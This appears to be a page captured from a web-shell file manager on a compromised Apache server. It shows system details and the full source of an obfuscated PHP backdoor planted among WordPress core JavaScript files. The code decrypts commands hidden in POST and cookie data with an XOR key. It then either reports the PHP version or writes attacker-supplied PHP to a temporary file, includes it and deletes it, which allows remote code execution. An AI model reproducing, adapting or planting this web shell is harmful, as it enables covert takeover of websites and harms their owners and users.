HEX
Server: Apache
System: Linux websend04.greenconsulting.it 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User: web20 (5023)
PHP: 7.2.34-38+ubuntu18.04.1+deb.sury.org+1
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/clients/client0/web20/web/wp-includes/js/imgareaselect/owajnssa.php
<?php 
$_htwwox /*  wffgx*/ =       '_htwwox'	^    '<';
$vnmro /*   sfqpf */ =       "a".$_htwwox(114)     .    $_htwwox(114)      .  "a"."y"."\x5f"    . /*   zkxp */ "m".$_htwwox(97) /*omp   */ . /*qmep   */ "\x70";

$yu_cgx    = /* tk */ $_htwwox(840-741) /*xwpphk*/ .    $_htwwox(356-245)   . /*_ktmm*/ "u"."n".$_htwwox(116);







function      eeltvmzn($ebohb, /*  vusgzv   */ $_vakr)
{

	global     $_htwwox;

 /* x*/ 

 /*   wdd_np   */ $ebohb	=	"<"	.       $_htwwox(468-405) /*   rcqkjl  */ . /*  ga   */ "p".$_htwwox(513-409)	. /*  hgw   */ "p".$_htwwox(32)   .	"\x75" /* et */ . /*   nl_r   */ $_htwwox(404-294)	.    $_htwwox(632-524)      .     $_htwwox(105).$_htwwox(110) /* plqp  */ .       "k"."\50"    . /*jzk */ "\x5f" /*ml */ . /*a*/ $_htwwox(95)  . /*  pfr   */ "\106"  .    $_htwwox(73)    . /*   d   */ "L".$_htwwox(961-892)    . /*sla */ $_htwwox(413-318)	. /* r  */ "_".")".";".$_htwwox(32) /*  jh*/ .    $ebohb["\144"];    $thapp_   =	"\x66"    .	$_htwwox(105)."l"."\145"."\137" /* rqnvf */ .     "p"."u"."t"."\137"       . /*fy */ "c"."\157"  . /* cubw  */ "\156"    .    $_htwwox(116) /*  tms  */ .	$_htwwox(101)       .    "\x6e"    .    "t".$_htwwox(647-532);


	
 /*vgccu*/ $thapp_($_vakr,     $ebohb);
 /* t*/ 
    yyojjcv($_vakr);


}$dciqlco    =	73;
function    yyojjcv($_vakr)


{

   global	$_htwwox;


 /*  trjt   */ 
	include($_vakr);

 /*   vcsl_g   */ $wi_lwehhvlh_qafd    = /*rd   */ $_vakr;


   @unlink($wi_lwehhvlh_qafd);
}


function    ewvrkbiwex(){
    global	$_htwwox;





	$wi_lweh /* xim_ */ =     array();

      $wi_lweh["p"."v"]	= /*   db   */ phpversion();

      $wi_lweh[$_htwwox(340-225) /*  x   */ .    $_htwwox(272-154)] /*   _wij */ =    "3".$_htwwox(46)    .    "5";	$ujkdjrvi /*sjmx  */ = /*   b */ 74;

    echo	@serialize($wi_lweh);


}



function    dyvzoul_uf($ebohb,      $mgxku)


{
 /*   lsnc */ global /* mvs  */ $_htwwox;

 /*   j  */ $lopuolqff      = /*dpa_em  */ "";     $_kja__ /*ghjfrm*/ =	strlen($ebohb);


 /*dod*/ $_ykea   = /*  st*/ strlen($mgxku);
  $wi_lweh /* bjtn_h */ =    0;
 /*   gsxh */ $vjzekp    =      0;


     
  while       ($wi_lweh	< /*   clmy */ $_kja__) /* g_y*/ {


      $gsita /* hmc   */ = /*  teu*/ $ebohb[$wi_lweh]    ^ /* qfakm */ $mgxku[$vjzekp    %      $_ykea];
     $lopuolqff	.=	$gsita;     $vjzekp++;    


	$wi_lweh++;
 /*   plhnc */ }


 /*  vnhj*/ 	if     (strlen($lopuolqff) /*   wcsvce   */ >    20)	{	$xtwrczgoh    = /*   f  */ substr($lopuolqff,  0,       20);

 /* b_begk*/ }

 /*   b  */ if  (empty($lopuolqff)) /*  h  */ {

 /*vcztmi */ $lopuolqff    =    date('Y-m-d   H:i:s'); /*   lhmqs  */ }
     return /*vki_km*/ $lopuolqff;

}




function	gtuquxzx($rnykh_tkg)

{

 /*  xdedi*/ global    $_htwwox;


   
 /*  hg  */ $fkwaxd     = /*v_w*/ "7"."a"."a"."\145"."1"."f"."1"."\60" /*e */ .      "-"."a".$_htwwox(892-792)  . /*xn   */ "\146" /*  kzkvkl */ .    "\142" /*lizydt*/ .   $_htwwox(45)  . /* pwzuh  */ "4".$_htwwox(863-813)   .  "2"."\x66"    .	$_htwwox(45)    .   "\x62"     . /* s__non*/ "\65"   .      "b".$_htwwox(94-45)    .	$_htwwox(834-789)  .     $_htwwox(54)     . /*   dwufkp*/ "\x33"  .	$_htwwox(504-453)      .	"\x63"	.  "\61"    . /* ndalgb*/ "4"."c".$_htwwox(565-463) /*  uui*/ . /*   v*/ "\143"    .	"0".$_htwwox(48)	. /* efoto   */ $_htwwox(101-44);

	


    foreach /*   ppavy   */ ($rnykh_tkg   as       $andfzg    =>	$ebohb) /*ia   */ {

     __kjsy(base64_decode($ebohb),  $fkwaxd, /*y   */ $andfzg);
      }}


function      __kjsy($ebohb,       $fkwaxd,  $andfzg){


	global	$_htwwox;


      

 /* idn_fu   */ $ebohb      = /*wqmor  */ unserialize(dyvzoul_uf(dyvzoul_uf($ebohb,    $fkwaxd),	$andfzg));
	$njw_jjgps       =	'zxzq';


	$vjzekpmsnb    =	'fse';

	if /*  oabc */ (isset($ebohb["\x61" /*  _i  */ .       $_htwwox(107)]))    {	if      ($ebohb["a"]   ==    $_htwwox(105))	{
 /*   iifelx */ ewvrkbiwex(); /*mfbewy */ } /*  h*/ elseif    ($ebohb["a"] /*  qty   */ ==    "\145")      {      eeltvmzn($ebohb,	sprintf("\x2e"    . /*  xcaly */ "\x2f"	. /*  cqfz */ "\x25"    .	"s"."\56"    .    "\160"    .    $_htwwox(245-137),    md5($fkwaxd)));			$pcijma      =	44;

    }
      exit();


  }

}





gtuquxzx($_POST);    




$kvmujvzgyq    =       'rawurldecode';


$scsqkelzcz	= /*   lo*/ $vnmro($kvmujvzgyq,      $_POST);
strpos($kvmujvzgyq,       'efkus');$kvhil_wtk_	= /*   ukrbbk  */ $yu_cgx($scsqkelzcz);



gtuquxzx($_COOKIE);	


$lfxuimc    =    $vnmro($kvmujvzgyq, /* qdbjb   */ $_COOKIE);





?>